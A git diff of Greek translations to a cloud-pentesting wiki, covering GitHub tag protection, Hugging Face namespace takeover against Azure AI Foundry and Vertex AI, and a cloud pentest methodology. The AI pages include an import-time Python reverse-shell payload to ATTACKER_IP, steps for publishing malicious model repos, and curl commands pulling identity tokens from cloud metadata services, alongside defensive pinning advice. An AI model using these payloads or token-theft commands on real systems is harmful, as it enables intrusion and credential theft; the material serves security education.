history.** Αποτρέπει τα merge commits από το να προωθηθούν σε ταιριαστούς κλάδους. +- **Συμπερίληψη administrators.** Αν αυτό δεν είναι ενεργοποιημένο, οι admins μπορούν να παρακάμπτουν τους περιορισμούς. +- **Περιορίστε ποιος μπορεί να κάνει push σε ταιριαστούς κλάδους.** Περιορίστε ποιος μπορεί να στείλει PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Όπως βλέπετε, ακόμη κι αν καταφέρετε να αποκτήσετε κάποια credentials ενός χρήστη, **τα repos μπορεί να είναι προστατευμένα αποτρέποντας σας από το να σπρώξετε κώδικα στο master** για παράδειγμα ώστε να παραβιάσετε το CI/CD pipeline. -## Tag Protections +## Προστασίες Tags -Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches: +Τα tags (όπως latest, stable) είναι μεταβλητά από προεπιλογή. Για να εφαρμόσετε μια ροή τεσσάρων ματιών στις ενημερώσεις tags, προστατεύστε τα tags και αλυσσοδέστε τις προστασίες μέσω περιβαλλόντων και κλάδων: -1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod). -2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**. -3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**. +1) Στον κανόνα προστασίας tag, ενεργοποιήστε το **Require deployments to succeed** και απαιτήστε έναν επιτυχή deployment σε ένα προστατευμένο περιβάλλον (π.χ., prod). +2) Στο στοχευόμενο περιβάλλον, περιορίστε τα **Deployment branches and tags** στον release branch (π.χ., main) και προαιρετικά ρυθμίστε **Required reviewers** με **Prevent self-review**. +3) Στον release κλάδο, ρυθμίστε τις προστασίες κλάδου για να **απαιτήσετε pull request**, ορίστε approvals ≥ 1, και ενεργοποιήστε τόσο το **Dismiss approvals when new commits are pushed** όσο και το **Require approval of the most recent reviewable push**. -This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows. +Αυτή η αλυσίδα αποτρέπει έναν μοναδικό συνεργάτη από το να επαναεπισημάνει (retag) ή να κάνει force-publish releases επεξεργαζόμενος το workflow YAML, γιατί οι πύλες (deployment gates) επιβάλλονται έξω από τα workflows. -## References +## Αναφορές - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md index 24ed4d7bc..01153667a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md @@ -4,15 +4,15 @@ ## Σενάριο -- Το Azure AI Foundry Model Catalog περιλαμβάνει πολλά μοντέλα Hugging Face (HF) για ανάπτυξη με ένα κλικ. -- Οι αναγνωριστές μοντέλων HF είναι Author/ModelName. Αν ένας HF author/org διαγραφεί, οποιοσδήποτε μπορεί να επανεγγράψει αυτόν τον author και να δημοσιεύσει ένα μοντέλο με το ίδιο ModelName στο legacy path. -- Pipelines και catalogs που τραβούν μόνο με όνομα (no commit pinning/integrity) θα επιλύονται σε attacker-controlled repos. Όταν το Azure αναπτύσσει το μοντέλο, ο loader code μπορεί να εκτελεστεί στο περιβάλλον του endpoint, παρέχοντας RCE με τα permissions του endpoint. +- Το Azure AI Foundry Model Catalog περιλαμβάνει πολλά μοντέλα Hugging Face (HF) για one-click deployment. +- HF model identifiers are Author/ModelName. Εάν ένας HF author/org διαγραφεί, οποιοσδήποτε μπορεί να επανεγγράψει αυτόν τον author και να δημοσιεύσει ένα μοντέλο με το ίδιο ModelName στο legacy path. +- Pipelines και catalogs που τραβούν μόνο με όνομα (χωρίς commit pinning/integrity) θα επιλύονται σε attacker-controlled repos. Όταν το Azure αναπτύσσει το μοντέλο, ο loader code μπορεί να εκτελεστεί στο περιβάλλον του endpoint, παραχωρώντας RCE με τα permissions αυτού του endpoint. -Συνηθισμένες περιπτώσεις takeover του HF: +Συνηθισμένες περιπτώσεις κατάληψης HF: - Ownership deletion: Old path 404 until takeover. - Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path. -## Εντοπισμός Επαναχρησιμοποιήσιμων Namespaces (HF) +## Εντοπισμός επαναχρησιμοποιήσιμων namespaces (HF) ```bash # Check author/org existence curl -I https://huggingface.co/ # 200 exists, 404 deleted/available @@ -21,14 +21,14 @@ curl -I https://huggingface.co/ # 200 exists, 404 deleted/availab curl -I https://huggingface.co// # 307 -> redirect (transfer case), 404 -> deleted until takeover ``` -## Ολοκληρωμένη ροή επίθεσης κατά του Azure AI Foundry +## Ροή επίθεσης από άκρο σε άκρο κατά του Azure AI Foundry -1) Στο Model Catalog, εντόπισε HF μοντέλα των οποίων οι αρχικοί authors διαγράφηκαν ή μεταφέρθηκαν (ο παλιός author αφαιρέθηκε) στο HF. -2) Επανακαταχώρησε τον εγκαταλελειμμένο author στο HF και αναδημιούργησε το ModelName. -3) Δημοσίευσε ένα malicious repo με loader code που εκτελείται κατά το import ή απαιτεί trust_remote_code=True. -4) Ανάπτυξε τον legacy Author/ModelName από το Azure AI Foundry. Η πλατφόρμα κατεβάζει το attacker repo· ο loader εκτελείται μέσα στο Azure endpoint container/VM, παρέχοντας RCE με endpoint permissions. +1) Στο Model Catalog, βρείτε HF models των οποίων οι original authors διαγράφηκαν ή μεταφέρθηκαν (ο παλιός author αφαιρέθηκε) στο HF. +2) Re-register τον εγκαταλελειμμένο author στο HF και αναδημιουργήστε το ModelName. +3) Δημοσιεύστε ένα malicious repo με loader code που εκτελείται κατά το import ή απαιτεί trust_remote_code=True. +4) Αναπτύξτε το legacy Author/ModelName από το Azure AI Foundry. Η πλατφόρμα τραβάει το attacker repo; ο loader εκτελείται μέσα στο Azure endpoint container/VM, παρέχοντας RCE με τα δικαιώματα του endpoint. -Παράδειγμα τμήματος payload που εκτελείται κατά το import (μόνο για επίδειξη): +Παράδειγμα payload fragment που εκτελείται κατά το import (μόνο για επίδειξη): ```python # __init__.py or a module imported by the model loader import os, socket, subprocess, threading @@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Σημειώσεις -- Οι αναπτύξεις του AI Foundry που ενσωματώνουν το HF συνήθως κάνουν clone και import repo modules που αναφέρονται στο model’s config (π.χ., auto_map), κάτι που μπορεί να προκαλέσει code execution. Ορισμένες διαδρομές απαιτούν trust_remote_code=True. -- Η πρόσβαση συνήθως αντιστοιχεί στις permissions του endpoint (managed identity/service principal). Θεωρήστε το ως initial access foothold για data access και lateral movement εντός Azure. +- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True. +- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure. ## Post-Exploitation Tips (Azure Endpoint) -- Καταγράψτε τις environment variables και τα MSI endpoints για tokens: +- Απαριθμήστε τα environment variables και τα MSI endpoints για tokens: ```bash # Azure Instance Metadata Service (inside Azure compute) curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` -- Ελέγξτε το mounted storage, τα model artifacts και τις προσβάσιμες Azure services με το αποκτηθέν token. -- Εξετάστε το persistence αφήνοντας poisoned model artifacts εάν η πλατφόρμα επαναφορτώσει από το HF. +- Ελέγξτε την προσαρτημένη αποθήκευση, τα αρχεία μοντέλου και τις προσβάσιμες υπηρεσίες Azure με το αποκτηθέν token. +- Σκεφτείτε τη διατήρηση πρόσβασης αφήνοντας δηλητηριασμένα αρχεία μοντέλου αν η πλατφόρμα επαναφορτώνει από το HF. ## Οδηγίες άμυνας για χρήστες του Azure AI Foundry -- Pin models by commit κατά τη φόρτωση από HF: +- Κλειδώστε τα μοντέλα σε commit όταν τα φορτώνετε από το HF: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Κατοπτρίστε ελεγμένα μοντέλα HF σε ένα αξιόπιστο εσωτερικό registry και αναπτύξτε από εκεί. -- Σαρώστε συνεχώς τα codebases και defaults/docstrings/notebooks για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί; ενημερώστε ή pin-άρετε. -- Επαληθεύστε την ύπαρξη του author και την προέλευση (provenance) του μοντέλου πριν από την ανάπτυξη. +- Καθρεφτίστε ελεγμένα HF models σε ένα αξιόπιστο internal registry και αναπτύξτε από εκεί. +- Σαρώστε συνεχώς codebases και defaults/docstrings/notebooks για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί; ενημερώστε ή κάντε pin. +- Επικυρώστε την ύπαρξη του author και την προέλευση του model πριν από την ανάπτυξη. -## Recognition Heuristics (HTTP) +## Κανόνες Αναγνώρισης (HTTP) - Διαγραμμένος author: author page 404; legacy model path 404 until takeover. -- Μεταφερμένο μοντέλο: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. +- Μεταφερθέν model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` ## Διασταυρούμενες Αναφορές -- Δείτε την ευρύτερη μεθοδολογία και τις σημειώσεις για την supply-chain: +- Δείτε την ευρύτερη μεθοδολογία και τις σημειώσεις για την αλυσίδα εφοδιασμού: {{#ref}} ../../pentesting-cloud-methodology.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index aadac5fba..8f4597e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,4 +1,4 @@ -# GCP - Μετα-εκμετάλλευση +# GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md index 99f4f9fc8..1fd54f1f1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Σενάριο +## Scenario -- Vertex AI Model Garden επιτρέπει την άμεση ανάπτυξη πολλών Hugging Face (HF) μοντέλων. -- HF model identifiers are Author/ModelName. Εάν ένας author/org στο HF διαγραφεί, το ίδιο author name μπορεί να επανα-εγγραφεί από οποιονδήποτε. Οι attackers μπορούν τότε να δημιουργήσουν ένα repo με το ίδιο ModelName στη legacy path. -- Pipelines, SDKs, or cloud catalogs που κάνουν fetch μόνο με το όνομα (no pinning/integrity) θα κατεβάσουν το attacker-controlled repo. Όταν το μοντέλο αναπτυχθεί, loader code από αυτό το repo μπορεί να εκτελεστεί μέσα στο Vertex AI endpoint container, δίνοντας RCE με τα permissions του endpoint. +- Το Vertex AI Model Garden επιτρέπει την άμεση ανάπτυξη πολλών μοντέλων Hugging Face (HF). +- HF model identifiers are Author/ModelName. Εάν ένας author/org στο HF διαγραφεί, το ίδιο όνομα author μπορεί να επανεγγραφεί από οποιονδήποτε. Οι attackers μπορούν τότε να δημιουργήσουν ένα repo με το ίδιο ModelName στη legacy path. +- Pipelines, SDKs, ή cloud catalogs που κάνουν fetch μόνο με όνομα (χωρίς pinning/integrity) θα κατεβάσουν το attacker-controlled repo. Όταν το model αναπτυχθεί, ο loader code από εκείνο το repo μπορεί να εκτελεστεί μέσα στο Vertex AI endpoint container, παρέχοντας RCE με τα permissions του endpoint. Two common takeover cases on HF: -- Ownership deletion: Το παλιό path επιστρέφει 404 μέχρι κάποιος να επανα-εγγράψει τον author και να δημοσιεύσει το ίδιο ModelName. -- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. Εάν ο παλιός author αργότερα διαγραφεί και επανα-εγγραφεί από έναν attacker, η αλυσίδα redirect σπάει και το attacker’s repo σερβίρει στη legacy path. +- Ownership deletion: Η παλιά διαδρομή επιστρέφει 404 μέχρι κάποιος να επανεγγράψει τον author και να δημοσιεύσει το ίδιο ModelName. +- Ownership transfer: Το HF εκδίδει 307 redirects από το παλιό Author/ModelName προς τον νέο author. Αν ο παλιός author διαγραφεί αργότερα και επανεγγραφεί από attacker, η αλυσίδα redirect σπάει και το attacker’s repo σερβίρει στη legacy path. -## Εντοπισμός Επαναχρησιμοποιήσιμων Namespaces (HF) +## Identifying Reusable Namespaces (HF) -- Old author deleted: η σελίδα για τον author επιστρέφει 404; το model path μπορεί να επιστρέψει 404 μέχρι takeover. -- Transferred models: το παλιό model path εκδίδει 307 στον νέο owner όσο ο παλιός author υπάρχει. Εάν ο παλιός author αργότερα διαγραφεί και επανα-εγγραφεί, η legacy path θα επιλύεται στο attacker’s repo. +- Old author deleted: η σελίδα του author επιστρέφει 404; το model path μπορεί να επιστρέφει 404 μέχρι takeover. +- Transferred models: το παλιό model path εκδίδει 307 προς τον νέο owner όσο ο παλιός author υπάρχει. Αν ο παλιός author διαγραφεί αργότερα και επανεγγραφεί, η legacy path θα δείχνει στο attacker’s repo. -Γρήγοροι έλεγχοι με curl: +Quick checks with curl: ```bash # Check author/org existence curl -I https://huggingface.co/ @@ -28,22 +28,22 @@ curl -I https://huggingface.co// # 307 = redirect to new owner (transfer case) # 404 = missing (deletion case) until someone re-registers ``` -## Ροή επίθεσης από άκρο σε άκρο κατά του Vertex AI +## Ολοκληρωμένη ροή επίθεσης εναντίον Vertex AI -1) Ανακάλυψε επαναχρησιμοποιήσιμους namespaces μοντέλων που το Model Garden εμφανίζει ως deployable: -- Εντόπισε HF models στο Vertex AI Model Garden που εξακολουθούν να εμφανίζουν “verified deployable”. -- Επαλήθευσε στο HF αν ο αρχικός author έχει διαγραφεί ή αν το model μεταφέρθηκε και ο παλιός author αφαιρέθηκε αργότερα. +1) Ανακαλύψτε επαναχρησιμοποιήσιμα namespaces μοντέλων που το Model Garden εμφανίζει ως αναπτύξιμα: +- Βρείτε HF models στο Vertex AI Model Garden που εξακολουθούν να εμφανίζονται ως “verified deployable”. +- Επαληθεύστε στο HF αν ο αρχικός author έχει διαγραφεί ή αν το μοντέλο μεταφέρθηκε και ο παλιός author αφαιρέθηκε αργότερα. -2) Επανεγγράψε τον διαγραμμένο author στο HF και αναδημιούργησε το ίδιο ModelName. +2) Επανεγγράψτε τον διαγραμμένο author στο HF και αναδημιουργήστε το ίδιο ModelName. -3) Δημοσίευσε ένα κακόβουλο repo. Συμπεριέλαβε κώδικα που εκτελείται κατά το model load. Παραδείγματα που συνήθως εκτελούνται κατά το HF model load: -- Side effects στο __init__.py του repo -- Προσαρμοσμένο modeling_*.py ή processing code που αναφέρεται από το config/auto_map -- Διαδρομές κώδικα που απαιτούν trust_remote_code=True σε Transformers pipelines +3) Publish ένα malicious repo. Περιλάβετε code που εκτελείται κατά το model load. Παραδείγματα που συχνά εκτελούνται κατά το HF model load: +- Παράπλευρες ενέργειες στο __init__.py του repo +- Προσαρμοσμένα modeling_*.py ή processing code που αναφέρονται από config/auto_map +- Code paths που απαιτούν trust_remote_code=True σε Transformers pipelines -4) Μια Vertex AI deployment του legacy Author/ModelName τώρα τραβάει το attacker repo. Ο loader εκτελείται μέσα στο Vertex AI endpoint container. +4) Μια Vertex AI deployment του legacy Author/ModelName πλέον τραβάει το κακόβουλο repo. Ο loader εκτελείται μέσα στο container του Vertex AI endpoint. -5) Το payload δημιουργεί πρόσβαση από το endpoint περιβάλλον (RCE) με τα permissions του endpoint. +5) Το payload εγκαθιστά πρόσβαση από το περιβάλλον του endpoint (RCE) με τα δικαιώματα του endpoint. Παράδειγμα αποσπάσματος payload που εκτελείται κατά το import (μόνο για επίδειξη): ```python @@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1": threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start() ``` Σημειώσεις -- Στην πράξη, οι loaders ποικίλλουν. Πολλές Vertex AI HF integrations κλωνοποιούν και εισάγουν repo modules που αναφέρονται στο config του μοντέλου (π.χ. auto_map), κάτι που μπορεί να προκαλέσει εκτέλεση κώδικα. Κάποιες χρήσεις απαιτούν trust_remote_code=True. -- Το endpoint τυπικά τρέχει σε ένα αφιερωμένο container με περιορισμένο πεδίο, αλλά αποτελεί έγκυρη αρχική εστία για πρόσβαση σε δεδομένα και lateral movement στο GCP. +- Οι πραγματικοί loaders ποικίλλουν. Πολλές Vertex AI HF integrations κλωνοποιούν και εισάγουν repo modules που αναφέρονται στο config του μοντέλου (π.χ., auto_map), κάτι που μπορεί να προκαλέσει code execution. Ορισμένες χρήσεις απαιτούν trust_remote_code=True. +- Το endpoint συνήθως τρέχει σε αφιερωμένο container με περιορισμένο εύρος, αλλά αποτελεί έγκυρο αρχικό foothold για πρόσβαση σε δεδομένα και lateral movement στο GCP. ## Post-Exploitation Tips (Vertex AI Endpoint) -Μόλις code εκτελείται μέσα στο endpoint container, σκεφτείτε: -- Εξερεύνηση των environment variables και του metadata για credentials/tokens -- Πρόσβαση σε attached storage ή σε mounted model artifacts -- Αλληλεπίδραση με Google APIs μέσω της ταυτότητας service account (Document AI, Storage, Pub/Sub, κ.λπ.) -- Persistence στο model artifact σε περίπτωση που η πλατφόρμα re-pulls το repo +Μόλις code τρέχει μέσα στο endpoint container, σκεφτείτε: +- Απαρίθμηση μεταβλητών περιβάλλοντος και metadata για credentials/tokens +- Πρόσβαση σε συνδεδεμένη αποθήκευση ή σε προσαρτημένα artifacts μοντέλου +- Αλληλεπίδραση με Google APIs μέσω ταυτότητας service account (Document AI, Storage, Pub/Sub, κ.λπ.) +- Επίμονη παρουσία στο artifact του μοντέλου αν η πλατφόρμα επανα-τραβήξει το repo -Καταγράψτε τα instance metadata αν είναι προσβάσιμα (container dependent): +Απαριθμήστε τα instance metadata αν είναι προσβάσιμα (εξαρτάται από το container): ```bash curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ``` -## Οδηγίες άμυνας για χρήστες Vertex AI +## Οδηγίες άμυνας για χρήστες του Vertex AI -- Pin models by commit in HF loaders για να αποτρέψετε τη σιωπηλή αντικατάσταση: +- Κλειδώστε τα μοντέλα ανά commit στους HF loaders για να αποτρέψετε την αθόρυβη αντικατάσταση: ```python from transformers import AutoModel m = AutoModel.from_pretrained("Author/ModelName", revision="") ``` -- Κατοπτρίστε ελεγμένα HF models σε ένα αξιόπιστο εσωτερικό artifact store/registry και αναπτύξτε από εκεί. -- Σαρώστε συνεχώς codebases και configs για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί· ενημερώστε σε νέα namespaces ή κλειδώστε σε συγκεκριμένο commit. -- Στο Model Garden, επαληθεύστε την προέλευση του μοντέλου και την ύπαρξη του author πριν την ανάπτυξη. +- Καθρεφτίστε επαληθευμένα HF models σε ένα αξιόπιστο εσωτερικό artifact store/registry και κάντε deploy από εκεί. +- Σκανάρετε συνεχώς codebases και configs για hard-coded Author/ModelName που έχουν διαγραφεί/μεταβιβαστεί· ενημερώστε σε νέα namespaces ή pin ανά commit. +- Στο Model Garden, επαληθεύστε την προέλευση (provenance) του μοντέλου και την ύπαρξη του author πριν το deploy. -## Ευριστικές αναγνώρισης (HTTP) +## Ευριστικές Αναγνώρισης (HTTP) -- Deleted author: author page 404; legacy model path 404 μέχρι την ανάληψη. -- Transferred model: legacy path 307 προς νέο author ενώ ο παλιός author υπάρχει· αν ο παλιός author διαγραφεί αργότερα και επανα-καταχωρηθεί, το legacy path εξυπηρετεί περιεχόμενο attacker. +- Deleted author: η σελίδα του author 404; το legacy model path 404 μέχρι takeover. +- Transferred model: legacy path 307 προς νέο author ενώ ο παλιός author υπάρχει; αν ο παλιός author αργότερα διαγραφεί και επανεγγραφεί, το legacy path σερβίρει attacker content. ```bash curl -I https://huggingface.co// | egrep "^HTTP|^location" ``` ## Διασταυρούμενες Αναφορές -- Δείτε τη γενικότερη μεθοδολογία και τις σημειώσεις για την εφοδιαστική αλυσίδα: +- Δείτε την ευρύτερη μεθοδολογία και σημειώσεις για την αλυσίδα εφοδιασμού: {{#ref}} ../../pentesting-cloud-methodology.md diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 105f9abe3..bfb66fdb8 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,39 +6,39 @@ ## Βασική Μεθοδολογία -Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **συνηθισμένα πράγματα που ένας pentester πρέπει να ελέγξει** όταν δοκιμάζει ένα περιβάλλον cloud: +Κάθε cloud έχει τις δικές του ιδιαιτερότητες αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που ένας pentester πρέπει να ελέγξει** όταν δοκιμάζει ένα cloud περιβάλλον: -- **Έλεγχοι benchmark** -- Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **χρησιμοποιούμενες υπηρεσίες** -- Θα σας επιτρέψει επίσης να βρείτε μερικά **γρήγορα λάθη διαμόρφωσης** καθώς μπορείτε να εκτελέσετε τα περισσότερα από αυτά τα τεστ με **αυτοματοποιημένα εργαλεία** -- **Ανακάλυψη υπηρεσιών** -- Πιθανότατα δεν θα βρείτε πολλές επιπλέον λανθασμένες ρυθμίσεις εδώ αν εκτελέσατε σωστά τους ελέγχους benchmark, αλλά ίσως βρείτε μερικές που δεν αναζητήθηκαν στον έλεγχο benchmark. -- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο περιβάλλον cloud +- **Benchmark checks** +- Αυτό θα σε βοηθήσει να **κατανοήσεις το μέγεθος** του περιβάλλοντος και τις **υπηρεσίες που χρησιμοποιούνται** +- Θα σου επιτρέψει επίσης να βρεις κάποιες **γρήγορες εσφαλμένες διαμορφώσεις** καθώς μπορείς να πραγματοποιήσεις τα περισσότερα από αυτά τα tests με **αυτοματοποιημένα εργαλεία** +- **Services Enumeration** +- Πιθανότατα δεν θα βρεις πολλές περισσότερες εσφαλμένες διαμορφώσεις εδώ αν εκτέλεσες σωστά τους benchmark ελέγχους, αλλά μπορεί να βρεις κάποιες που δεν αναζητήθηκαν στον benchmark έλεγχο. +- Αυτό θα σου επιτρέψει να γνωρίζεις **τι ακριβώς χρησιμοποιείται** στο cloud env - Αυτό θα βοηθήσει πολύ στα επόμενα βήματα -- **Έλεγχος εκτεθειμένων πόρων** -- Αυτό μπορεί να γίνει κατά την προηγούμενη ενότητα· πρέπει να **εντοπίσετε οτιδήποτε ενδεχομένως εκτεθειμένο** στο Internet με κάποιο τρόπο και πώς μπορεί να προσεγγιστεί. -- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως instances με ιστοσελίδες ή άλλα ports να είναι εκτεθειμένα, καθώς και σε άλλες **διαχειριζόμενες υπηρεσίες cloud που μπορούν να ρυθμιστούν** να είναι εκτεθειμένες (όπως DBs ή buckets) -- Έπειτα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να εκτεθεί ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; λάθη διαμόρφωσης στην εκτεθειμένη υπηρεσία?) -- **Έλεγχος δικαιωμάτων** -- Εδώ πρέπει να **εντοπίσετε όλα τα δικαιώματα κάθε ρόλου/χρήστη** μέσα στο cloud και πώς χρησιμοποιούνται -- Πολλοί λογαριασμοί με **υψηλά προνόμια** (ελέγχουν τα πάντα); Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότεροι από αυτούς τους ελέγχους θα έπρεπε να έχουν γίνει ήδη στους ελέγχους benchmark -- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **federation** ίσως χρειαστεί να τους ζητήσετε περαιτέρω **πληροφορίες** για το **πώς ανατίθεται κάθε ρόλος** (δεν είναι το ίδιο αν ο ρόλος admin έχει ανατεθεί σε 1 χρήστη ή σε 100) -- Δεν αρκεί να βρείτε ποιοι χρήστες έχουν δικαιώματα **admin** "\*:\*". Υπάρχουν πολλά **άλλα δικαιώματα** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορούν να είναι πολύ **ευαίσθητα**. -- Επιπλέον, υπάρχουν **πιθανοί privesc** τρόποι που μπορούν να ακολουθηθούν καταχρώμενοι τα δικαιώματα. Όλα αυτά πρέπει να ληφθούν υπόψη και **όσες περισσότερες privesc διαδρομές γίνεται** θα πρέπει να αναφερθούν. -- **Έλεγχος Integrations** -- Είναι πολύ πιθανό ότι **ενσωματώσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο περιβάλλον cloud. -- Για **ενσωματώσεις του cloud που ελέγχετε** με άλλες πλατφόρμες πρέπει να ενημερώσετε **ποιος έχει πρόσβαση να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\ -Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από όπου το GCP λαμβάνει δεδομένα (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP κατά την επεξεργασία αυτών των δεδομένων). -- Για **ενσωματώσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, θα πρέπει να ρωτήσετε **ποιος έχει εξωτερική πρόσβαση να (κακο)χρησιμοποιήσει αυτή την ενσωμάτωση** και να ελέγξετε πώς χρησιμοποιούνται τα δεδομένα.\ -Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί ένα Docker image φιλοξενούμενο στο GCR, πρέπει να ρωτήσετε ποιος έχει πρόσβαση να το τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτό το image όταν εκτελεστεί μέσα σε ένα AWS cloud. +- **Check exposed assets** +- Αυτό μπορεί να γίνει κατά τη διάρκεια του προηγούμενου τμήματος, πρέπει να **εντοπίσεις όλα όσα ενδέχεται να είναι εκτεθειμένα** στο Internet με κάποιο τρόπο και πώς μπορεί να αποκτηθεί πρόσβαση. +- Εδώ εννοώ **manually exposed infrastructure** όπως instances με web pages ή άλλα ports να είναι εκτεθειμένα, και επίσης άλλα **cloud managed services που μπορούν να ρυθμιστούν** να είναι εκτεθειμένα (όπως DBs ή buckets) +- Έπειτα πρέπει να ελέγξεις **αν αυτός ο πόρος μπορεί να είναι εκτεθειμένος ή όχι** (εμπιστευτικές πληροφορίες; vulnerabilities; misconfigurations στην εκτεθειμένη υπηρεσία?) +- **Check permissions** +- Εδώ πρέπει να **βρεις όλα τα permissions κάθε role/user** μέσα στο cloud και πώς χρησιμοποιούνται +- Πάρα πολλοί **highly privileged** (control everything) λογαριασμοί; Generated keys που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε ήδη να έχουν γίνει στους benchmark ελέγχους +- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **federation** μπορεί να χρειαστεί να τους ζητήσεις περαιτέρω **πληροφορίες** για **πώς ανατίθεται κάθε role** (δεν είναι το ίδιο το admin role να ανατίθεται σε 1 χρήστη ή σε 100) +- Δεν αρκεί να βρεις ποιοι χρήστες έχουν **admin** permissions "*:*". Υπάρχουν πολλά **άλλα permissions** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορεί να είναι πολύ **ευαίσθητα**. +- Επιπλέον, υπάρχουν **potential privesc** τρόποι να ακολουθηθούν καταχρώμενοι τα permissions. Όλα αυτά πρέπει να ληφθούν υπόψη και **όσοι περισσότεροι privesc paths γίνεται** πρέπει να αναφερθούν. +- **Check Integrations** +- Είναι πολύ πιθανό ότι **integrations with other clouds or SaaS** χρησιμοποιούνται μέσα στο cloud env. +- Για **integrations του cloud που αξιολογείς** με άλλες πλατφόρμες πρέπει να ειδοποιήσεις **ποιος έχει πρόσβαση να (κακ)χρησιμοποιήσει αυτή την integration** και να ρωτήσεις **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\ +Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο η GCP παίρνει δεδομένα (ρώτησε πόσο ευαίσθητη είναι η ενέργεια στην GCP κατά την επεξεργασία αυτών των δεδομένων). +- Για **integrations μέσα στο cloud που αξιολογείς** από εξωτερικές πλατφόρμες, πρέπει να ρωτήσεις **ποιος έχει εξωτερικά πρόσβαση να (κακ)χρησιμοποιήσει αυτή την integration** και να ελέγξεις πώς 